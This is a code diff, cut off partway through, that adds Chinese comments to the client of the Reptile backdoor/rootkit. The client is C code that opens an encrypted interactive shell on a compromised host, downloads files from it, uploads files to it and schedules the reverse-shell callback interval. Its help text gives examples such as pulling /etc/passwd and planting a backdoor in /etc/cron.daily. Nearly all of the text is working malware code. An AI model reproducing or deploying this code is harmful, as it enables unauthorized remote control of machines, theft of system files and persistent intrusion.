@ -23,114 +23,105 @@
# include "pel.h"
# include "pel.h"
# include "util.h"
# include "util.h"
// 全局变量定义
extern char * optarg ;
extern char * optarg ; // 获取命令行参数的值
unsigned char message [ BUFSIZE + 1 ] ;
unsigned char message [ BUFSIZE + 1 ] ; // 定义一个缓冲区,用于存储发送和接收的消息
char * password = NULL ;
char * password = NULL ; // 定义一个全局变量,用于存储连接密码
int sockfd ;
int sockfd ; // 定义一个全局变量,用于存储套接字文件描述符
pid_t pid ;
pid_t pid ; // 定义一个全局变量, 用于存储进程ID
int help ( int sock , char * * args ) ;
// 函数原型声明
int __exit ( int sock , char * * args ) ;
int help ( int sock , char * * args ) ; // 提供帮助信息的函数
int shell ( int sock , char * * args ) ;
int __exit ( int sock , char * * args ) ; // 退出函数,用于关闭连接
int get_file ( int sock , char * * args ) ;
int shell ( int sock , char * * args ) ; // 打开一个交互式shell的函数
int put_file ( int sock , char * * args ) ;
int get_file ( int sock , char * * args ) ; // 从远程主机下载文件的函数
int delay ( int sock , char * * args ) ;
int put_file ( int sock , char * * args ) ; // 向远程主机上传文件的函数
int delay ( int sock , char * * args ) ; // 设置反向shell连接间隔的函数
char * builtin_str [ ] = { " help " , " download " , " upload " , " shell " , " delay " , " exit " } ;
int ( * builtin_func [ ] ) ( int sock , char * * ) = { & help , & get_file , & put_file ,
// 内置命令字符串数组,用于映射命令名称到其对应的函数
& shell , & delay , & __exit } ;
char * builtin_str [ ] = { " help " , " download " , " upload " , " shell " , " delay " , " exit " } ;
// 内置命令对应的函数指针数组,用于根据命令名称调用对应的函数
int num_builtins ( ) { return sizeof ( builtin_str ) / sizeof ( char * ) ; }
int ( * builtin_func [ ] ) ( int sock , char * * ) = { & help , & get_file , & put_file , & shell , & delay , & __exit } ;
void pel_error ( char * s )
// 返回内置命令的数量
{
int num_builtins ( ) {
return sizeof ( builtin_str ) / sizeof ( char * ) ;
}
// 错误处理函数,根据错误代码打印相应的错误信息
void pel_error ( char * s ) {
switch ( pel_errno ) {
switch ( pel_errno ) {
case PEL_CONN_CLOSED :
case PEL_CONN_CLOSED :
fprintf ( stderr , " %s %s: Connection closed. \n " , bad , s ) ;
fprintf ( stderr , " %s %s: Connection closed. \n " , bad , s ) ;
break ;
break ;
case PEL_SYSTEM_ERROR :
case PEL_SYSTEM_ERROR :
p_error ( s ) ;
p_error ( s ) ;
break ;
break ;
case PEL_WRONG_CHALLENGE :
case PEL_WRONG_CHALLENGE :
fprintf ( stderr , " %s %s: Wrong challenge. \n " , bad , s ) ;
fprintf ( stderr , " %s %s: Wrong challenge. \n " , bad , s ) ;
break ;
break ;
case PEL_BAD_MSG_LENGTH :
case PEL_BAD_MSG_LENGTH :
fprintf ( stderr , " %s %s: Bad message length. \n " , bad , s ) ;
fprintf ( stderr , " %s %s: Bad message length. \n " , bad , s ) ;
break ;
break ;
case PEL_CORRUPTED_DATA :
case PEL_CORRUPTED_DATA :
fprintf ( stderr , " %s %s: Corrupted data. \n " , bad , s ) ;
fprintf ( stderr , " %s %s: Corrupted data. \n " , bad , s ) ;
break ;
break ;
case PEL_UNDEFINED_ERROR :
case PEL_UNDEFINED_ERROR :
fprintf ( stderr , " %s %s: No error. \n " , bad , s ) ;
fprintf ( stderr , " %s %s: No error. \n " , bad , s ) ;
break ;
break ;
default :
default :
fprintf ( stderr , " %s %s: Unknown error code. \n " , bad , s ) ;
fprintf ( stderr , " %s %s: Unknown error code. \n " , bad , s ) ;
break ;
break ;
}
}
}
}
// 为下载命令提供帮助信息的函数
void help_download ( )
void help_download ( ) {
{
fprintf ( stdout , " %s <file path> <dest dir> \n " , builtin_str [ 1 ] ) ;
fprintf ( stdout , " %s <file path> <dest dir> \n " , builtin_str [ 1 ] ) ;
fprintf ( stdout , " Example: download /etc/passwd /tmp \n " ) ;
fprintf ( stdout , " Example: download /etc/passwd /tmp \n " ) ;
}
}
// 为上传命令提供帮助信息的函数
void help_upload ( )
void help_upload ( ) {
{
fprintf ( stdout , " %s <file path> <dest dir> \n " , builtin_str [ 2 ] ) ;
fprintf ( stdout , " %s <file path> <dest dir> \n " , builtin_str [ 2 ] ) ;
fprintf ( stdout , " Example: upload /root/backdoor /etc/cron.daily \n " ) ;
fprintf ( stdout , " Example: upload /root/backdoor /etc/cron.daily \n " ) ;
}
}
// 为延迟命令提供帮助信息的函数
void help_delay ( )
void help_delay ( ) {
{
fprintf ( stdout , " %s <seconds> \n " , builtin_str [ 4 ] ) ;
fprintf ( stdout , " %s <seconds> \n " , builtin_str [ 4 ] ) ;
fprintf ( stdout , " Example: delay 3600 \n \n " ) ;
fprintf ( stdout , " Example: delay 3600 \n \n " ) ;
fprintf ( stdout , " %s Use \" delay 0 \" if you don't want a connection every X time \n " , warn ) ;
fprintf ( stdout , " %s Use \" delay 0 \" if you don't wanna a "
" connecion every X time \n " , warn ) ;
}
}
// 当命令不需要帮助信息时调用的函数
void no_help ( )
void no_help ( ) {
{
fprintf ( stdout , " This command doesn't need help \n " ) ;
fprintf ( stdout , " This command doesn't need help \n " ) ;
}
}
// 提供帮助信息的函数
int help ( int sock , char * * args )
int help ( int sock , char * * args ) {
{
// 如果没有提供子命令或者sock为-1, 则返回错误代码1
if ( args [ 0 ] = = NULL & & sock = = - 1 )
if ( args [ 0 ] = = NULL & & sock = = - 1 )
return 1 ;
return 1 ;
// 如果提供了子命令,则根据子命令提供具体的帮助信息
if ( args [ 1 ] ! = NULL ) {
if ( args [ 1 ] ! = NULL ) {
if ( strcmp ( args [ 1 ] , builtin_str [ 0 ] ) = = 0 ) {
if ( strcmp ( args [ 1 ] , builtin_str [ 0 ] ) = = 0 ) {
no_help ( ) ;
no_help ( ) ;
}
} else if ( strcmp ( args [ 1 ] , builtin_str [ 1 ] ) = = 0 ) {
else if ( strcmp ( args [ 1 ] , builtin_str [ 1 ] ) = = 0 ) {
help_download ( ) ;
help_download ( ) ;
}
} else if ( strcmp ( args [ 1 ] , builtin_str [ 2 ] ) = = 0 ) {
else if ( strcmp ( args [ 1 ] , builtin_str [ 2 ] ) = = 0 ) {
help_upload ( ) ;
help_upload ( ) ;
}
} else if ( strcmp ( args [ 1 ] , builtin_str [ 3 ] ) = = 0 ) {
else if ( strcmp ( args [ 1 ] , builtin_str [ 3 ] ) = = 0 ) {
no_help ( ) ;
no_help ( ) ;
}
} else if ( strcmp ( args [ 1 ] , builtin_str [ 4 ] ) = = 0 ) {
else if ( strcmp ( args [ 1 ] , builtin_str [ 4 ] ) = = 0 ) {
help_delay ( ) ;
help_delay ( ) ;
}
} else if ( strcmp ( args [ 1 ] , builtin_str [ 5 ] ) = = 0 ) {
else if ( strcmp ( args [ 1 ] , builtin_str [ 5 ] ) = = 0 ) {
no_help ( ) ;
no_help ( ) ;
}
} else {
else {
fprintf ( stdout , " This command is not valid! \n " ) ;
fprintf ( stdout , " This command is not valid! \n " ) ;
}
}
}
} else {
else {
// 如果没有提供子命令,则打印所有命令的帮助信息
fprintf ( stdout , " \n \ e[01;36mReptile Shell \ e[00m \n " ) ;
fprintf ( stdout , " \n \ e[01;36mReptile Shell \ e[00m \n " ) ;
fprintf ( stdout , " \ e[01;32mWritten by: F0rb1dd3n \ e[00m \n \n " ) ;
fprintf ( stdout , " \ e[01;32mWritten by: F0rb1dd3n \ e[00m \n \n " ) ;
fprintf ( stdout , " \t %s \t \t Show this help \n " , builtin_str [ 0 ] ) ;
fprintf ( stdout , " \t %s \t \t Show this help \n " , builtin_str [ 0 ] ) ;
@ -146,95 +137,93 @@ int help(int sock, char** args) {
return 1 ;
return 1 ;
}
}
// 退出函数,用于关闭连接
int __exit ( int sock , char * * args )
int __exit ( int sock , char * * args ) {
{
// 如果没有提供参数或者sock为-1, 则返回错误代码1
if ( args [ 0 ] = = NULL & & sock = = - 1 )
if ( args [ 0 ] = = NULL & & sock = = - 1 )
return 1 ;
return 1 ;
// 发送退出消息给远程主机
pel_send_msg ( sock , ( unsigned char * ) EXIT , EXIT_LEN ) ;
pel_send_msg ( sock , ( unsigned char * ) EXIT , EXIT_LEN ) ;
fprintf ( stdout , " \n " ) ;
fprintf ( stdout , " \n " ) ;
return 0 ;
return 0 ;
}
}
// 打开一个交互式shell的函数
int shell ( int sock , char * * args )
int shell ( int sock , char * * args ) {
{
// 定义文件描述符集合, 用于select函数
fd_set rd ;
fd_set rd ;
// 定义终端类型和窗口大小等变量
char * term , * temp ;
char * term , * temp ;
int ret , len , imf , i , size ;
int ret , len , imf , i , size ;
struct winsize ws ;
struct winsize ws ;
struct termios tp , tr ;
struct termios tp , tr ;
// 如果没有提供参数或者sock为-1, 则返回错误代码1
if ( args [ 0 ] = = NULL & & sock = = - 1 )
if ( args [ 0 ] = = NULL & & sock = = - 1 )
return 1 ;
return 1 ;
// 获取终端类型
term = getenv ( " TERM " ) ;
term = getenv ( " TERM " ) ;
if ( term = = NULL )
if ( term = = NULL )
term = " vt100 " ;
term = " vt100 " ;
// 发送终端类型到远程主机
len = strlen ( term ) ;
len = strlen ( term ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) term , len ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) term , len ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
// 如果标准输入是终端, 设置imf为1
imf = 0 ;
imf = 0 ;
if ( isatty ( 0 ) ) {
if ( isatty ( 0 ) ) {
imf = 1 ;
imf = 1 ;
// 获取窗口大小
if ( ioctl ( 0 , TIOCGWINSZ , & ws ) < 0 ) {
if ( ioctl ( 0 , TIOCGWINSZ , & ws ) < 0 ) {
p_error ( " ioctl(TIOCGWINSZ) " ) ;
p_error ( " ioctl(TIOCGWINSZ) " ) ;
return 1 ;
return 1 ;
}
}
}
} else {
else {
ws . ws_row = 25 ;
ws . ws_row = 25 ;
ws . ws_col = 80 ;
ws . ws_col = 80 ;
}
}
// 发送窗口大小到远程主机
message [ 0 ] = ( ws . ws_row > > 8 ) & 0xFF ;
message [ 0 ] = ( ws . ws_row > > 8 ) & 0xFF ;
message [ 1 ] = ( ws . ws_row ) & 0xFF ;
message [ 1 ] = ( ws . ws_row ) & 0xFF ;
message [ 2 ] = ( ws . ws_col > > 8 ) & 0xFF ;
message [ 2 ] = ( ws . ws_col > > 8 ) & 0xFF ;
message [ 3 ] = ( ws . ws_col ) & 0xFF ;
message [ 3 ] = ( ws . ws_col ) & 0xFF ;
ret = pel_send_msg ( sock , message , 4 ) ;
ret = pel_send_msg ( sock , message , 4 ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
// 如果命令是shell, 则发送shell命令到远程主机
if ( strcmp ( args [ 0 ] , builtin_str [ 3 ] ) = = 0 ) {
if ( strcmp ( args [ 0 ] , builtin_str [ 3 ] ) = = 0 ) {
temp = ( char * ) malloc ( 2 ) ;
temp = ( char * ) malloc ( 2 ) ;
if ( ! temp ) {
if ( ! temp ) {
p_error ( " malloc " ) ;
p_error ( " malloc " ) ;
return 1 ;
return 1 ;
}
}
temp [ 0 ] = RUNSHELL ;
temp [ 0 ] = RUNSHELL ;
temp [ 1 ] = ' \0 ' ;
temp [ 1 ] = ' \0 ' ;
fprintf ( stdout , " \n " ) ;
fprintf ( stdout , " \n " ) ;
}
} else {
else {
// 如果命令不是shell, 则发送用户输入的命令到远程主机
size = 1 ;
size = 1 ;
len = 0 ;
len = 0 ;
temp = ( char * ) malloc ( size ) ;
temp = ( char * ) malloc ( size ) ;
if ( ! temp ) {
if ( ! temp ) {
p_error ( " malloc " ) ;
p_error ( " malloc " ) ;
return 1 ;
return 1 ;
}
}
while ( args [ len ] ! = NULL ) {
while ( args [ len ] ! = NULL ) {
size + + ;
size + + ;
size + = strlen ( args [ len ] ) ;
size + = strlen ( args [ len ] ) ;
char * temp_backup = temp ;
char * temp_backup = temp ;
if ( ( temp = realloc ( temp , size ) ) = = NULL ) {
if ( ( temp = realloc ( temp , size ) ) = = NULL ) {
free ( temp_backup ) ;
free ( temp_backup ) ;
p_error ( " realloc " ) ;
p_error ( " realloc " ) ;
@ -242,337 +231,390 @@ int shell(int sock, char** args) {
}
}
len + + ;
len + + ;
}
}
memset ( temp , ' \0 ' , size ) ;
memset ( temp , ' \0 ' , size ) ;
for ( i = 0 ; i < len ; i + + ) {
for ( i = 0 ; i < len ; i + + ) {
strcat ( temp , args [ i ] ) ;
strcat ( temp , args [ i ] ) ;
strcat ( temp , " " ) ;
strcat ( temp , " " ) ;
}
}
}
}
len = strlen ( temp ) ;
len = strlen ( temp ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) temp , len ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) temp , len ) ;
free ( temp ) ;
free ( temp ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
// 设置终端属性,用于非规范模式下的输入输出
if ( isatty ( 1 ) ) {
if ( isatty ( 1 ) ) {
if ( tcgetattr ( 1 , & tp ) < 0 ) {
if ( tcgetattr ( 1 , & tp ) < 0 ) {
p_error ( " tcgetattr " ) ;
p_error ( " tcgetattr " ) ;
return 1 ;
return 1 ;
}
}
memcpy ( ( void * ) & tr , ( void * ) & tp , sizeof ( tr ) ) ;
memcpy ( ( void * ) & tr , ( void * ) & tp , sizeof ( tr ) ) ;
tr . c_iflag | = IGNPAR ;
tr . c_iflag | = IGNPAR ;
tr . c_iflag & =
tr . c_iflag & =
~ ( ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF ) ;
~ ( ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF ) ;
tr . c_lflag & =
tr . c_lflag & =
~ ( ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN ) ;
~ ( ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN ) ;
tr . c_oflag & = ~ OPOST ;
tr . c_oflag & = ~ OPOST ;
tr . c_cc [ VMIN ] = 1 ;
tr . c_cc [ VMIN ] = 1 ;
tr . c_cc [ VTIME ] = 0 ;
tr . c_cc [ VTIME ] = 0 ;
if ( tcsetattr ( 1 , TCSADRAIN , & tr ) < 0 ) {
if ( tcsetattr ( 1 , TCSADRAIN , & tr ) < 0 ) {
p_error ( " tcsetattr " ) ;
p_error ( " tcsetattr " ) ;
return 1 ;
return 1 ;
}
}
}
}
// 进入一个循环,处理输入输出
while ( 1 ) {
while ( 1 ) {
FD_ZERO ( & rd ) ;
FD_ZERO ( & rd ) ;
if ( imf ! = 0 )
if ( imf ! = 0 )
FD_SET ( 0 , & rd ) ;
FD_SET ( 0 , & rd ) ;
FD_SET ( sock , & rd ) ;
FD_SET ( sock , & rd ) ;
if ( select ( sock + 1 , & rd , NULL , NULL , NULL ) < 0 ) {
if ( select ( sock + 1 , & rd , NULL , NULL , NULL ) < 0 ) {
p_error ( " select " ) ;
p_error ( " select " ) ;
break ;
break ;
}
}
if ( FD_ISSET ( sock , & rd ) ) {
if ( FD_ISSET ( sock , & rd ) ) {
ret = pel_recv_msg ( sock , message , & len ) ;
ret = pel_recv_msg ( sock , message , & len ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_recv_msg " ) ;
pel_error ( " pel_recv_msg " ) ;
break ;
break ;
}
}
if ( strncmp ( ( char * ) message , EXIT , EXIT_LEN ) = = 0 ) {
if ( strncmp ( ( char * ) message , EXIT , EXIT_LEN ) = = 0 ) {
if ( isatty ( 1 ) )
if ( isatty ( 1 ) )
tcsetattr ( 1 , TCSADRAIN , & tp ) ;
tcsetattr ( 1 , TCSADRAIN , & tp ) ;
fprintf ( stdout , " \n " ) ;
fprintf ( stdout , " \n " ) ;
return 1 ;
return 1 ;
}
}
if ( write ( 1 , message , len ) ! = len ) {
if ( write ( 1 , message , len ) ! = len ) {
p_error ( " write " ) ;
p_error ( " write " ) ;
break ;
break ;
}
}
}
}
if ( imf ! = 0 & & FD_ISSET ( 0 , & rd ) ) {
if ( imf ! = 0 & & FD_ISSET ( 0 , & rd ) ) {
if ( ( len = read ( 0 , message , BUFSIZE ) ) < 0 ) {
if ( ( len = read ( 0 , message , BUFSIZE ) ) < 0 ) {
p_error ( " read " ) ;
p_error ( " read " ) ;
break ;
break ;
}
}
if ( len = = 0 ) {
if ( len = = 0 ) {
fprintf ( stderr , " stdin: end-of-file \n " ) ;
fprintf ( stderr , " stdin: end-of-file \n " ) ;
break ;
break ;
}
}
ret = pel_send_msg ( sock , message , len ) ;
ret = pel_send_msg ( sock , message , len ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
break ;
break ;
}
}
}
}
}
}
if ( isatty ( 1 ) )
if ( isatty ( 1 ) )
tcsetattr ( 1 , TCSADRAIN , & tp ) ;
tcsetattr ( 1 , TCSADRAIN , & tp ) ;
return 1 ;
return 1 ;
}
}
// 从远程主机下载文件的函数
int get_file ( int sock , char * * args )
int get_file ( int sock , char * * args ) {
{
char * temp , * pathname ;
char * temp , * pathname ;
int ret , len , fd , total ;
int ret , len , fd , total ;
unsigned char out = OUT ;
unsigned char out = OUT ;
// 如果没有提供足够的参数或者sock为-1, 则返回错误代码1
if ( args [ 1 ] = = NULL | | args [ 2 ] = = NULL ) {
if ( args [ 1 ] = = NULL | | args [ 2 ] = = NULL ) {
fprintf ( stderr , " %s wrong arguments \n \n " , bad ) ;
fprintf ( stderr , " %s wrong arguments \n \n " , bad ) ;
if ( pel_send_msg ( sock , & out , 1 ) ! = PEL_SUCCESS )
if ( pel_send_msg ( sock , & out , 1 ) ! = PEL_SUCCESS )
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
// 发送文件路径到远程主机
len = strlen ( args [ 1 ] ) ;
len = strlen ( args [ 1 ] ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) args [ 1 ] , len ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) args [ 1 ] , len ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
// 构建保存文件的路径
temp = strrchr ( args [ 1 ] , ' / ' ) ;
temp = strrchr ( args [ 1 ] , ' / ' ) ;
if ( temp ! = NULL )
if ( temp ! = NULL )
temp + + ;
temp + + ;
if ( temp = = NULL )
if ( temp = = NULL )
temp = args [ 1 ] ;
temp = args [ 1 ] ;
len = strlen ( args [ 2 ] ) ;
len = strlen ( args [ 2 ] ) ;
pathname = ( char * ) malloc ( len + strlen ( temp ) + 2 ) ;
pathname = ( char * ) malloc ( len + strlen ( temp ) + 2 ) ;
if ( pathname = = NULL ) {
if ( pathname = = NULL ) {
p_error ( " malloc " ) ;
p_error ( " malloc " ) ;
return 1 ;
return 1 ;
}
}
strcpy ( pathname , args [ 2 ] ) ;
strcpy ( pathname , args [ 2 ] ) ;
strcpy ( pathname + len , " / " ) ;
strcpy ( pathname + len , " / " ) ;
strcpy ( pathname + len + 1 , temp ) ;
strcpy ( pathname + len + 1 , temp ) ;
// 创建文件
fd = creat ( pathname , 0644 ) ;
fd = creat ( pathname , 0644 ) ;
if ( fd < 0 ) {
if ( fd < 0 ) {
p_error ( " creat " ) ;
p_error ( " creat " ) ;
free ( pathname ) ;
free ( pathname ) ;
return 1 ;
return 1 ;
}
}
free ( pathname ) ;
free ( pathname ) ;
// 接收文件数据并保存
total = 0 ;
total = 0 ;
while ( 1 ) {
while ( 1 ) {
ret = pel_recv_msg ( sock , message , & len ) ;
ret = pel_recv_msg ( sock , message , & len ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_recv_msg " ) ;
pel_error ( " pel_recv_msg " ) ;
fprintf ( stderr , " %s Transfer failed. \n " , bad ) ;
fprintf ( stderr , " %s Transfer failed. \n " , bad ) ;
return 1 ;
return 1 ;
}
}
if ( strncmp ( ( char * ) message , EXIT , EXIT_LEN ) = = 0 & & total > 0 )
if ( strncmp ( ( char * ) message , EXIT , EXIT_LEN ) = = 0 & & total > 0 )
break ;
break ;
if ( write ( fd , message , len ) ! = len ) {
if ( write ( fd , message , len ) ! = len ) {
p_error ( " write " ) ;
p_error ( " write " ) ;
return 1 ;
return 1 ;
}
}
total + = len ;
total + = len ;
fprintf ( stdout , " %d \r " , total ) ;
fprintf ( stdout , " %d \r " , total ) ;
fflush ( stdout ) ;
fflush ( stdout ) ;
}
}
fprintf ( stdout , " %s %d done. \n \n " , good , total ) ;
fprintf ( stdout , " %s %d done. \n \n " , good , total ) ;
return 1 ;
return 1 ;
}
}
// 向远程主机上传文件的函数
int put_file ( int sock , char * * args )
int put_file ( int sock , char * * args ) {
{
char * temp , * pathname ;
char * temp , * pathname ;
int ret , len , fd , total ;
int ret , len , fd , total ;
unsigned char out = OUT ;
unsigned char out = OUT ;
// 如果没有提供足够的参数或者sock为-1, 则返回错误代码1
if ( args [ 1 ] = = NULL | | args [ 2 ] = = NULL ) {
if ( args [ 1 ] = = NULL | | args [ 2 ] = = NULL ) {
fprintf ( stderr , " %s wrong arguments \n \n " , bad ) ;
fprintf ( stderr , " %s wrong arguments \n \n " , bad ) ;
if ( pel_send_msg ( sock , & out , 1 ) ! = PEL_SUCCESS )
if ( pel_send_msg ( sock , & out , 1 ) ! = PEL_SUCCESS )
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
// 构建文件路径
temp = strrchr ( args [ 1 ] , ' / ' ) ;
temp = strrchr ( args [ 1 ] , ' / ' ) ;
if ( temp ! = NULL )
if ( temp ! = NULL )
temp + + ;
temp + + ;
if ( temp = = NULL )
if ( temp = = NULL )
temp = args [ 1 ] ;
temp = args [ 1 ] ;
len = strlen ( args [ 2 ] ) ;
len = strlen ( args [ 2 ] ) ;
pathname = ( char * ) malloc ( len + strlen ( temp ) + 2 ) ;
pathname = ( char * ) malloc ( len + strlen ( temp ) + 2 ) ;
if ( pathname = = NULL ) {
if ( pathname = = NULL ) {
p_error ( " malloc " ) ;
p_error ( " malloc " ) ;
return 1 ;
return 1 ;
}
}
strcpy ( pathname , args [ 2 ] ) ;
strcpy ( pathname , args [ 2 ] ) ;
strcpy ( pathname + len , " / " ) ;
strcpy ( pathname + len , " / " ) ;
strcpy ( pathname + len + 1 , temp ) ;
strcpy ( pathname + len + 1 , temp ) ;
// 发送文件路径到远程主机
len = strlen ( pathname ) ;
len = strlen ( pathname ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) pathname , len ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) pathname , len ) ;
free ( pathname ) ;
free ( pathname ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
// 打开文件并发送文件数据
fd = open ( args [ 1 ] , O_RDONLY ) ;
fd = open ( args [ 1 ] , O_RDONLY ) ;
if ( fd < 0 ) {
if ( fd < 0 ) {
p_error ( " open " ) ;
p_error ( " open " ) ;
return 1 ;
return 1 ;
}
}
total = 0 ;
total = 0 ;
while ( 1 ) {
while ( 1 ) {
len = read ( fd , message , BUFSIZE ) ;
len = read ( fd , message , BUFSIZE ) ;
if ( len < 0 ) {
if ( len < 0 ) {
p_error ( " read " ) ;
p_error ( " read " ) ;
return 1 ;
return 1 ;
}
}
if ( len = = 0 ) {
if ( len = = 0 ) {
break ;
break ;
}
}
ret = pel_send_msg ( sock , message , len ) ;
ret = pel_send_msg ( sock , message , len ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
fprintf ( stderr , " %s Transfer failed. \n " , bad ) ;
fprintf ( stderr , " %s Transfer failed. \n " , bad ) ;
return 1 ;
return 1 ;
}
}
total + = len ;
total + = len ;
printf ( " %s %d \r " , good , total ) ;
printf ( " %s %d \r " , good , total ) ;
fflush ( stdout ) ;
fflush ( stdout ) ;
}
}
// 发送结束信号
pel_send_msg ( sock , ( unsigned char * ) EXIT , EXIT_LEN ) ;
pel_send_msg ( sock , ( unsigned char * ) EXIT , EXIT_LEN ) ;
printf ( " %s %d done. \n \n " , good , total ) ;
printf ( " %s %d done. \n \n " , good , total ) ;
return 1 ;
return 1 ;
}
}
// 设置反向shell连接间隔的函数
int delay ( int sock , char * * args )
int delay ( int sock , char * * args ) {
{
int ret , flag ;
int ret , flag ;
unsigned int i , j ;
unsigned int i , j ;
char * numbers = " 0123456789 " ;
char * numbers = " 0123456789 " ;
unsigned char out = OUT ;
unsigned char out = OUT ;
// 如果没有提供参数或者sock为-1, 则返回错误代码1
if ( args [ 1 ] = = NULL ) {
if ( args [ 1 ] = = NULL ) {
fprintf ( stderr , " %s no arguments \n \n " , bad ) ;
fprintf ( stderr , " %s no arguments \n \n " , bad ) ;
if ( pel_send_msg ( sock , & out , 1 ) ! = PEL_SUCCESS )
if ( pel_send_msg ( sock , & out , 1 ) ! = PEL_SUCCESS )
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
// 检查参数是否为数字
for ( i = 0 ; i < strlen ( args [ 1 ] ) ; i + + ) {
for ( i = 0 ; i < strlen ( args [ 1 ] ) ; i + + ) {
flag = 0 ;
flag = 0 ;
for ( j = 0 ; j < strlen ( numbers ) ; j + + ) {
for ( j = 0 ; j < strlen ( numbers ) ; j + + ) {
if ( args [ 1 ] [ i ] = = numbers [ j ] )
if ( args [ 1 ] [ i ] = = numbers [ j ] )
flag = 1 ;
flag = 1 ;
}
}
if ( flag = = 0 ) {
if ( flag = = 0 ) {
fprintf ( stderr , " %s wrong argument \n \n " , bad ) ;
fprintf ( stderr , " %s wrong argument \n \n " , bad ) ;
if ( pel_send_msg ( sock , & out , 1 ) ! = PEL_SUCCESS )
if ( pel_send_msg ( sock , & out , 1 ) ! = PEL_SUCCESS )
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
}
}
// 发送延迟时间设置到远程主机
ret = pel_send_msg ( sock , ( unsigned char * ) args [ 1 ] , strlen ( args [ 1 ] ) ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) args [ 1 ] , strlen ( args [ 1 ] ) ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
fprintf ( stdout , " %s delay -> %s \n \n " , good , args [ 1 ] ) ;
fprintf ( stdout , " %s delay -> %s \n \n " , good , args [ 1 ] ) ;
return 1 ;
return 1 ;
}
}
// 执行命令的函数
int execute ( int sock , char * * args )
int execute ( int sock , char * * args ) {
{
int i , ret ;
int i , ret ;
// 如果没有提供参数或者sock为-1, 则返回错误代码1
if ( args [ 0 ] = = NULL | | sock = = - 1 )
if ( args [ 0 ] = = NULL | | sock = = - 1 )
return 1 ;
return 1 ;
// 查找并执行内置命令
for ( i = 0 ; i < num_builtins ( ) ; i + + ) {
for ( i = 0 ; i < num_builtins ( ) ; i + + ) {
if ( strcmp ( args [ 0 ] , builtin_str [ i ] ) = = 0 ) {
if ( strcmp ( args [ 0 ] , builtin_str [ i ] ) = = 0 ) {
if ( i = = 0 ) {
if ( i = = 0 ) {
return ( * builtin_func [ i ] ) ( sock , args ) ;
return ( * builtin_func [ i ] ) ( sock , args ) ;
}
} else {
else {
ret =
ret = pel_send_msg ( sock , ( unsigned char * ) & i , 1 ) ;
pel_send_msg ( sock , ( unsigned char * ) & i , 1 ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
return ( * builtin_func [ i ] ) ( sock , args ) ;
return ( * builtin_func [ i ] ) ( sock , args ) ;
}
}
}
}
}
}
// 如果不是内置命令, 发送shell命令
i = 3 ;
i = 3 ;
ret = pel_send_msg ( sock , ( unsigned char * ) & i , 1 ) ;
ret = pel_send_msg ( sock , ( unsigned char * ) & i , 1 ) ;
if ( ret ! = PEL_SUCCESS ) {
if ( ret ! = PEL_SUCCESS ) {
pel_error ( " pel_send_msg " ) ;
pel_error ( " pel_send_msg " ) ;
return 1 ;
return 1 ;
}
}
return ( * builtin_func [ 3 ] ) ( sock , args ) ;
return ( * builtin_func [ 3 ] ) ( sock , args ) ;
}
}
// 读取一行输入的函数
char * read_line ( void )
char * read_line ( void ) {
{
int bufsize = RL_BUFSIZE ;
int bufsize = RL_BUFSIZE ;
int position = 0 ;
int position = 0 ;
char * buffer = malloc ( sizeof ( char ) * bufsize ) ;
char * buffer = malloc ( sizeof ( char ) * bufsize ) ;
int c ;
int c ;
// 如果内存分配失败,打印错误信息并退出
if ( ! buffer ) {
if ( ! buffer ) {
fprintf ( stderr , " reptile: allocation error \n " ) ;
fprintf ( stderr , " reptile: allocation error \n " ) ;
exit ( EXIT_FAILURE ) ;
exit ( EXIT_FAILURE ) ;
}
}
